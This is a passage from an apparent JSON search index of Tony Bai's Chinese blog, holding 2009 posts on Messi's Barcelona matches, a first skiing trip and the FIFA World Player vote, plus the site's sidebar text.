给他的这10分钟。如果要求梅西在首演中进球，想必有些过于苛刻，因为梅西表现得已经很好了。在通往巴萨“新国王”的道路上，梅西已经迈出了这坚实的第一步。\n关于这场比赛的文字资料，现在已经很难搜索到了，图片资料就更没有了。不过这也是可以理解的，毕竟那时的梅西还年轻，又有谁能预测到仅仅三、四年后，梅西就已经登上了世界足球之巅，成为世界上最受欢迎的顶级足球运动员，成为巴萨“新国王”了呢？^_^\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/01/23/messi-first-match-in-lfp-for-barca/","summary":"\u003cp\u003e2004年10月17日（北京时间）凌晨4时，对于普通人来说这一天的这一时刻再普通不过了，但对于全世界的“梅西迷”们来说，它却绝对是值得大家兴奋和牢记的一天。因为在这一天，大家喜爱和支持的天才少年梅西（Lionel Messi）第一次代表巴萨在西甲的赛场上亮相了。\u003c/p\u003e","title":"梅西·天才少年西甲首亮相"},{"content":"2009年1月22日凌晨05:00（北京时间），2008-09赛季国王杯四分之一决赛首轮比赛拉开大幕。巴塞罗那队做客奥林匹克球场（Estadi Olímpic Lluís Companys）挑战同城兄弟西班牙人队（Espanyol）。巴萨刚刚在西甲上半程最后一轮比赛中以5:0大胜拉科鲁尼亚队，士气正盛。主教练瓜迪奥拉（Josep Guardiola）继续他的轮换制度，本场比赛只保留普约尔（Carles Puyol）和凯塔（Seydou Keita）两名上一场比赛的主力继续首发。卡塞雷斯（Martín Cáceres）、马科斯（Rafael Márquez）、希尔韦尼奥（Sylvinho）和队长普约尔组成巴萨后防线，平托（José Manuel Pinto）顶替巴尔德斯（Víctor Valdés）为巴萨镇守龙门。相比于巴萨，西班牙人队的阵容变化不大，多数主力依旧留在阵中，从中也可以看出西班牙人队试图在主场擒下巴萨的决心。本场西班牙人队由刚刚上任的年轻主教练阿根廷人波切蒂诺（Mauricio Pochettino）指挥，波切蒂诺是前西班牙人队的主力后卫球员，仅比巴萨主帅瓜迪奥拉小一岁，所以这场比赛也可以看成是两位年轻少帅间的首次对决。\n瓜迪奥拉在赛前就已经预言本场比赛对于巴萨来 说是场硬仗，不好打。一来德比战本来就很艰难，变数较多，本赛季西甲第5轮巴萨客场挑战西班牙人的那场比赛，巴萨就是靠最后一分钟梅西的点球逆转取胜的； 二来，换新主帅对西班牙人队不失为一利好消息，换帅后球员们都备受鼓舞，他们为了能给新帅一个良好的第一印象，场上势必更加卖力；最后，巴萨阵容变化较 大，中前场的衔接配合是否默契直接影响着巴萨的攻击力，没有了压制性的攻击力，巴萨脆弱的后防线能否撑得住还是个未知数。\n比赛开始后，巴萨果然没能延续上一场对阵拉科 的场上优势，前20分钟内，巴萨几乎组织不起来什么有效的攻势。中前场衔接不利，反抢时协防不足，往往第一点断下球后，球又丢掉了；进攻时传球路线较长， 失误率增加，导致巴萨在对手的后场没能施加足够的压力，让对手有暇去思考如何进攻了。对手一反常态的持续中前场抢断也打乱了巴萨的阵脚，使巴萨中前场失误 频频。第10分钟，巴萨又受打击，本场主力中卫马科斯受伤下场，维克托-桑切斯（Victor Sánchez）替换上场。前场三叉戟伊涅斯塔（Andrés Iniesta）、博扬（Bojan Krkić）与赫莱布（Aliaksandr Hleb） 的战斗力显然比主力三叉戟要逊色一些，无法给对方以足够的压力；赫莱布时不时忆起阿森纳时的他，在场上打起了自由人的角色。赫莱布虽然可以带球突破，但是 带到门前后的传球威胁却远小于主力球员，传球的时机和火候也有不小差距；伊涅斯塔也多回撤拿球或参与防守，降低了其突破的威胁性；博扬也丧失了原有的灵 性，消失在对方的后卫群中，为数不多的几脚射门也没有形成真正威胁。中场布斯克茨（Sergio Busquets）和古德约翰森（Eiður Guðjohnsen） 难以组织起有效的进攻，且失误频频，巴萨精确流畅的传接配合不见了踪影。前20分钟，巴萨门前险情重生，平托反倒成为巴萨最忙的人，他高接抵挡确保巴萨城 门不失。中前场缺少创造性的想法和传球也是巴萨迟迟不能打开局面的主要原因之一，古德约翰森和凯塔都不是具备创造性的合适人选，而布斯克茨也疲于防守，减少了其进攻才能的发挥。\n下半场开始后几分钟，巴萨的进攻仍不见起色，场上只有伊涅斯塔不时的突破，但孤木难支。这时场边的哈维开始热身，第66分钟，梅西开始热身，显然瓜迪奥拉也想在客场有所暂获。第68分钟，哈维换 下古德约翰森加强中场的进攻。西班牙人的盯人逼抢依然继续着，小将布斯克茨前场丢球太多，博扬机会也不少，但始终像是没穿射门鞋，屡屡无功而返。第75分 钟，“国王”梅西替换博扬上场。刚一上场，就完成了一次中路突破传球，对方将球破坏出底线，获得一次角球。看来西班牙人的后卫对待梅西还是比较严肃和认真 的，丝毫不敢懈怠。梅西第二次中路触球，面对对方六名防守球员，梅西横向带球等待队友插上，可惜没有队友和梅西有默契，对方后卫大脚将球破坏。从梅西的表情上来看，似乎略有所思。感觉梅西在有意做自我保护，没有放开去突破，估计他也意识到了与场上这些队友打出的进攻配合成功率显然没有原配三叉戟+阿尔维斯高。本 场比赛梅西最后一次精彩表演是在第89分中，赫莱布从中场接球后传给中路的梅西，梅西转身疾速奔袭，在大禁区前沿，四名对方后卫形成包围圈之前，梅西将球 分给右侧跟上的赫莱布。由于两个人配合稍显生疏，赫莱布跑过了，球被对方防守球员倒地铲出边线。最后五分钟，巴萨对西班牙人队的展开了全面攻势，无奈时间 所剩无几，补时3分钟后，裁判吹响了终场哨声，两队0:0握手言和，遗憾巴萨没能取得客场的进球和胜利，不过从过程和两队在本场比赛的发挥来看，西班牙人 队倒是踢得比巴萨更巴萨，特别是上半场。\n梅西突破\n梅西再突破\n梅西继续突破\n一场沉闷的比赛就这样以平局收场，如果把这场比赛比做一场电影的话，那这部电影肯定既不叫好，也不叫座。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/01/22/cup-4th-final-espanyol-vs-barca/","summary":"\u003cp\u003e2009年1月22日凌晨05:00（北京时间），2008-09赛季国王杯四分之一决赛首轮比赛拉开大幕。巴塞罗那队做客奥林匹克球场（Estadi Olímpic Lluís Companys）挑战同城兄弟西班牙人队（Espanyol）。巴萨刚刚在西甲上半程最后一轮比赛中以5:0大胜拉科鲁尼亚队，士气正盛。主教练瓜迪奥拉（Josep Guardiola）继续他的轮换制度，本场比赛只保留普约尔（Carles Puyol）和凯塔（Seydou Keita）两名上一场比赛的主力继续首发。卡塞雷斯（Martín Cáceres）、马科斯（Rafael Márquez）、希尔韦尼奥（Sylvinho）和队长普约尔组成巴萨后防线，平托（José Manuel Pinto）顶替巴尔德斯（Víctor Valdés）为巴萨镇守龙门。相比于巴萨，西班牙人队的阵容变化不大，多数主力依旧留在阵中，从中也可以看出西班牙人队试图在主场擒下巴萨的决心。本场西班牙人队由刚刚上任的年轻主教练阿根廷人波切蒂诺（Mauricio Pochettino）指挥，波切蒂诺是前西班牙人队的主力后卫球员，仅比巴萨主帅瓜迪奥拉小一岁，所以这场比赛也可以看成是两位年轻少帅间的首次对决。\u003c/p\u003e","title":"梅西·二线低靡国王难出彩"},{"content":"如果你还没有体验过滑雪运动，那么我建议你去玩一次，这不昨天我们组织了一次滑雪活动，地点：弓长岭滑雪场。在短短的5个小时的第一次体验之后，我就爱上这项刺激的运动了，以至于不到导游规定的上车时间我是不会拖到滑雪板的^_^\n农历春节放假前最后一次集体活动，一行八人，跟团走。弓长岭滑雪场号称辽宁省最大雪场，不知道是否只是宣传语。我也是第一次滑雪，没去过其他雪场，也就无法做横向比较了。不过说这个滑雪场是最远的滑雪场(距离沈阳市区)到毫不为过，在沈丹高速上开了一个半小时，下高速30分钟后才到达雪场。之前因为导游原因大巴晚点，我们还被放在室外冻了20分钟。\n坐在车上离很远就能看到远处滑雪场上两座高耸的雪道，看着最高处几个小黑点沿着陡峭的雪道S型滑行，心里在佩服那些高手的同时也开始热血沸腾，真想早一些穿上雪板，拿起雪杖真实的滑上一把。\n弓长岭雪道全景\n大巴停下后，导游到售票处买票，大家又焦急的等待了约半个小时，导游终于回来了。每人一张滑雪门票、一张存了200元押金的消费卡和一张温泉洗浴门票。领完后，大家就迫不及待的冲向滑雪服务区领个人装备。按照个人鞋子的尺码，领雪鞋、学板和雪杖。如果你想打扮的更专业一些的话，还可以租一套滑雪服(另收费，现在是30元/天)。\n个人装备：雪杖和雪板\n带着雪板、雪杖走出服务区来到室外，外面的人已经有好多，大家开始穿滑雪板。第一次穿这个东西，还没有什么窍门，“专研”了半天终于在一个已经有过一次滑雪经验的同事的指点下穿上了滑雪板，终于可以”挥舞”雪杖开始体验滑雪的乐趣了。\n平地滑了一段时间，就感觉浑身发热，额头汗珠已经显现，真累。特别是在没有教练而自己照猫画虎学习人家的动作的时候，在没有掌握要领的情况下，滑行需要付出力气。在这个时候什么滑雪帽、手套就都变成了多余的“累赘”，太热。滑雪不能不提”摔跤”，稍有不慎，重心没有放置得当，就会与雪地来个亲密接触。滑雪与滑冰还不同，摔倒后凭一己之力很难爬起来。我第一次摔倒后，就在地上坐了半天，尝试了几次站起来都没成功。后来一好心人告知我将滑雪板脱掉就能起来了。用滑雪杖用力下压雪板后面的卡扣，雪鞋和雪板自然分离，这样站起来就容易多了。\n到底该如何练习滑雪呢？没有教练。自己就联想在大一学滑冰时体育老师让我们做的滑冰基础练习，我想滑冰和滑雪肯定是有着类似的地方的，最主要的还是练习调整重心。雪板和冰鞋原理也相似，有内外刃，要学会用刃推雪面以获得前进的动力。最累的就是在平地双板平行，用雪杖滑行。不知道你是否看到一些滑雪比赛中职业选手是如何滑的。他们一般先用雪杖用力直向滑行两下，获得一个初速度，然后再左右脚倒换利用重心的左右调整向前滑行，并有节奏的用雪杖加速，这样滑速度快不说，还很省力。左右重心倒换可是很容易滑倒的，初期可以原地练习向左迈步，再向右迈步，感受雪板的重量，感受抬起雪板的感觉。\n以上的练习很累，练习一段时间后，可以到坡道上体会一下滑雪的刺激和快感，而且这种从高处下滑下来的练习对你掌握平衡还很有好处。初学者一般都使用牵引索道上山，先从比较低的地方尝试下滑，找一些感觉。再根据自己的实力选择适当的高度。滑雪是一项危险的运动，千万量力而为，不要逞能，否则后果将很严重，不是你撞伤别人，就是让别人撞伤你，无论怎样都不值得。通过这种练习起码要学会如何减速和如何在下滑过程中微调重心转向。最后一次坡滑，我冲动了一把，上到了牵引索道的最高点，待我下滑的时候，我就有些后悔了，像我这种选手，即使采用减速动作，也无法控制速度的增加，还好我的姿势控制的还好，顺利的到达山下，长出了一口气。场地中还有很多娱乐滑雪设施，很适合集体嬉戏和留影，做这种游戏时千万把腰带系紧，否则雪进去后的滋味可不太好受。\n从牵引索道的最高点向下看，有点头晕\n场地中还有很多娱乐滑雪设施，很适合集体嬉戏和留影，做这种游戏时千万把腰带系紧，否则雪进去后的滋味可不太好受。\n弓长岭的温泉是用车从其他地方拉来的，人太多，水质不怎么样，不建议大家去。在雪场还是建议专注一些，学学滑雪，多体会。否则下次去玩还是不会滑。\n","permalink":"https://tonybai.com/2009/01/18/the-experience-of-skiing-for-the-first-time/","summary":"\u003cp\u003e如果你还没有体验过滑雪运动，那么我建议你去玩一次，这不昨天我们组织了一次滑雪活动，地点：\u003ca href=\"http://www.gclski.com/gywm.htm\" title=\"弓长岭滑雪场\"\u003e弓长岭滑雪场\u003c/a\u003e。在短短的5个小时的第一次体验之后，我就爱上这项刺激的运动了，以至于不到导游规定的上车时间我是不会拖到滑雪板的^_^\u003c/p\u003e\n\u003cp\u003e农历春节放假前最后一次集体活动，一行八人，跟团走。弓长岭滑雪场号称辽宁省最大雪场，不知道是否只是宣传语。我也是第一次滑雪，没去过其他雪场，也就无法做横向比较了。不过说这个滑雪场是最远的滑雪场(距离沈阳市区)到毫不为过，在沈丹高速上开了一个半小时，下高速30分钟后才到达雪场。之前因为导游原因大巴晚点，我们还被放在室外冻了20分钟。\u003c/p\u003e","title":"第一次滑雪"},{"content":"2009年1月18日凌晨3点（北京时间），西班牙甲级联赛（La Liga）拉开了2009-09赛季上半程最后一轮-第19轮的大幕， 西甲领头羊巴塞罗那（FC Barcelona）坐镇诺坎普体育场（Camp Nou Stadium）迎战中游球队拉科鲁尼亚（Deportivo），梅西（Lionel Messi）领衔巴萨三叉戟埃托奥（Samuel Eto’o）和亨利（Thierry Henry）首发出场。\n赛前三天也就是1月15日，巴萨刚刚在主场2:1逆转马德里竞技（Atlético Madrid）晋级国王杯（Copa del Rey）8强，梅西等主力球员此役轮休没有首发。梅西在第72分钟替补赫莱布（Aliaksandr Hleb）出场，没有进球，但却险些被铲伤。赛后少帅瓜迪奥拉（Josep Guardiola）险成为众矢之的，球迷们指责他不该让梅西在这场已经无关紧要的比赛中上场。\n回到联赛。本轮之前巴萨在本赛季的18场联赛中共拿到47个积分，如果这场能够战胜拉科鲁尼亚的话，巴萨将创造一个新的纪录，那就是联赛上半程最佳战 绩：50分。破纪录固然有意义，但是巴萨众将士没有因此而骄傲，而是继续脚踏实地，一步一个脚印的向着最终目标迈进。毕竟大家都意识到了：纪录不是冠军奖杯。\n刚一开场，梅西就有精彩表演：开场仅28秒，梅西接哈维直传，突破到禁区右侧，用不擅长的右脚一记精准传中，亨利拍马赶到，12码处 一记右脚劲射，球速很快，但拉科门将却在失去重心的情况下下意识的抬腿将球挡出，必进之球就这样被化解。巴萨继续在主场演绎华丽流畅的足球，其强大的攻势 迫使拉科疲于防守，基本没有什么能威胁到巴萨球门的机会。梅西和阿尔维斯在右路“前仆后继”的冲击着拉科的后防线。第21分钟，巴萨的进攻终于开花结果， 梅西在中线附近接哈维直传，以梅西式的带球速度从右路向中路内切，拉科两名后卫紧追不舍，拉科的另一名后卫则被埃托奥的跑位牵扯。梅西带球奔袭至大禁区内 左侧附近，在四名后卫封堵前左脚巧妙反向推射球门右下角，门将早已失位，眼看着皮球击中门柱内侧弹入网内。梅西以一粒精彩的入球打破僵局，同时也打开了巴 萨疯狂进球的大门。随后亨利头顶脚踢梅开二度，埃托奥门前抢点，外加一粒点球，以18粒进球继续领跑西甲射手榜。期间梅西还获得两次绝佳的头球进球机会， 但天生头球能力不足的梅西两次都将球顶偏，没能把握住再次进球的机会。不过瑕不掩瑜，梅西本场以其优异的表现再次无可争议的捍卫了其巴萨国王的地位。赛后梅西再次被评为当场最高分，并第五次入选由法国《队报》、英国《卫报》、德国《图片报》、意大利《米兰体育报》和西班牙《世界报》联合评选和发布的“欧洲五大联赛最佳阵容”。\n梅西式突破\n三叉戟相拥庆祝梅西进首球\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/01/18/barca-vs-deportivo/","summary":"\u003cp\u003e2009年1月18日凌晨3点（北京时间），西班牙甲级联赛（La Liga）拉开了2009-09赛季上半程最后一轮-第19轮的大幕， 西甲领头羊巴塞罗那（FC Barcelona）坐镇诺坎普体育场（Camp Nou Stadium）迎战中游球队拉科鲁尼亚（Deportivo），梅西（Lionel Messi）领衔巴萨三叉戟埃托奥（Samuel Eto’o）和亨利（Thierry Henry）首发出场。\u003c/p\u003e","title":"梅西·精灵开罐巧射破拉科"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2009/01/14/the-story-of-leomessi-his-first-goal-of-worldcup/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"梅西往事·世界杯首例入球"},{"content":"随着FIFA 2008世界足球先生最终结果的揭晓，梅西继欧洲金球奖排名次席之后连续拿下了第二个“老二”奖项，没能实现2008最大逆转。单凭个人魅力而言，从FIFA官方的网络调查可以看出，梅西人气远超C.罗，但人气毕竟只是人气，决定权还在FIFA手中。而从球队成绩来看，巴萨在2008的颗粒无收给梅西拖了后腿。\n2008已经过去，2009梅西从头再来。2009伊始，梅西就给我们带来了一个帽子戏法和一个关键的逆转进球的惊艳表现，用\u0026quot;开门红\u0026quot;这三个字来评价也不为过。从目前状况来看，梅西和巴萨状态都极佳，只要梅西能保持不受伤，2009必将属于梅西。另外今年梅西的另外一个重大任务就是带领阿根廷队打进明年南非世界杯，到时候让世界所有球迷都能看到球场上梅西的快乐足球。\n小花絮：从阿根廷\u0026quot;二马\u0026quot;和葡萄牙二\u0026quot;斯\u0026quot;的选票上来看，似乎FIFA投票有一个特点：不选本国球员。如果这里的分析成立的话，那也就没有必要埋怨\u0026quot;二马\u0026quot;不选\u0026quot;梅西\u0026quot;了。\n阿根廷 马拉多纳 C罗 伊布 阿德巴约 马斯切拉诺 C罗 杰拉德 托雷斯\n葡萄牙 奎罗斯 哈维 卡卡 伊布\n戈麦斯 范尼 德罗巴 埃托奥\n","permalink":"https://tonybai.com/2009/01/13/leomessi-start-again-from-scratch-on-2009/","summary":"\u003cp\u003e随着FIFA 2008世界足球先生最终结果的揭晓，\u003ca href=\"http://tonybai.com/2008/11/18/i-like-this-picture-of-leo-messi-most/\"\u003e梅西\u003c/a\u003e继欧洲金球奖排名次席之后连续拿下了第二个“老二”奖项，没能实现2008最大逆转。单凭个人魅力而言，从FIFA官方的\u003ca href=\"http://tonybai.com/2009/01/11/the-internet-survey-result-of-2008-fifa-world-player/\"\u003e网络调查\u003c/a\u003e可以看出，梅西人气远超C.罗，但人气毕竟只是人气，决定权还在FIFA手中。而从球队成绩来看，\u003ca href=\"http://www.fcbarcelona.com/\"\u003e巴萨\u003c/a\u003e在2008的颗粒无收给梅西拖了后腿。\u003c/p\u003e\n\u003cp\u003e2008已经过去，2009梅西从头再来。2009伊始，梅西就给我们带来了一个\u003ca href=\"http://tonybai.com/2009/01/07/leo-messi-play-another-hat-trick/\"\u003e帽子戏法\u003c/a\u003e和一个关键的逆转进球的惊艳表现，用\u0026quot;开门红\u0026quot;这三个字来评价也不为过。从目前状况来看，梅西和巴萨状态都极佳，只要梅西能保持不受伤，2009必将属于梅西。另外今年梅西的另外一个重大任务就是带领阿根廷队打进明年南非世界杯，到时候让世界所有球迷都能看到球场上梅西的快乐足球。\u003c/p\u003e\n\u003cp\u003e小花絮：从阿根廷\u0026quot;二马\u0026quot;和葡萄牙二\u0026quot;斯\u0026quot;的选票上来看，似乎FIFA投票有一个特点：不选本国球员。如果这里的分析成立的话，那也就没有必要埋怨\u0026quot;二马\u0026quot;不选\u0026quot;梅西\u0026quot;了。\u003c/p\u003e","title":"梅西，2009我们从头再来"},{"content":"2009年1月12日凌晨4点（北京时间），西甲联赛第18轮领头羊巴萨做客纳瓦拉（Reyno de Navarra）体育场（又称为萨达尔体育场）迎战联赛排名倒数第一的“副班长”奥萨苏纳队（CA Osasuna）。梅西因航班延误而错过了上一场对阵皇家马洛卡（RCD Mallorca）的比赛，本场比赛是梅西在2009年的第一场联赛比赛。在几天前举行的国王杯八分之一决赛巴萨客场挑战马德里竞技的比赛中，梅西状态神勇，上演了帽子戏法。本场比赛，依旧保持上佳状态的梅西和埃托奥、亨利组成的前场三叉戟首发出场。\n奥萨苏纳队在17轮联赛过后，排名倒数第一。虽说本赛季成绩不佳，但奥萨苏纳队在主场的战斗力还是很强大的，在本赛季已经得到的13分中，有10分是在主场 获得的。并且近几年奥萨苏纳主场对阵巴萨的战绩是2胜4平2负，完全不落下风。从这些数据来看，巴萨想顺利拿下这场比赛似乎不会那么Easy。\n果不其然，一开场奥萨苏纳就摆出一副与巴萨打对攻的架势，在中前场对巴萨的队员进行紧逼，巴萨的进攻也在这种逼抢下失误频频，甚至巴萨队员一度全体退回半 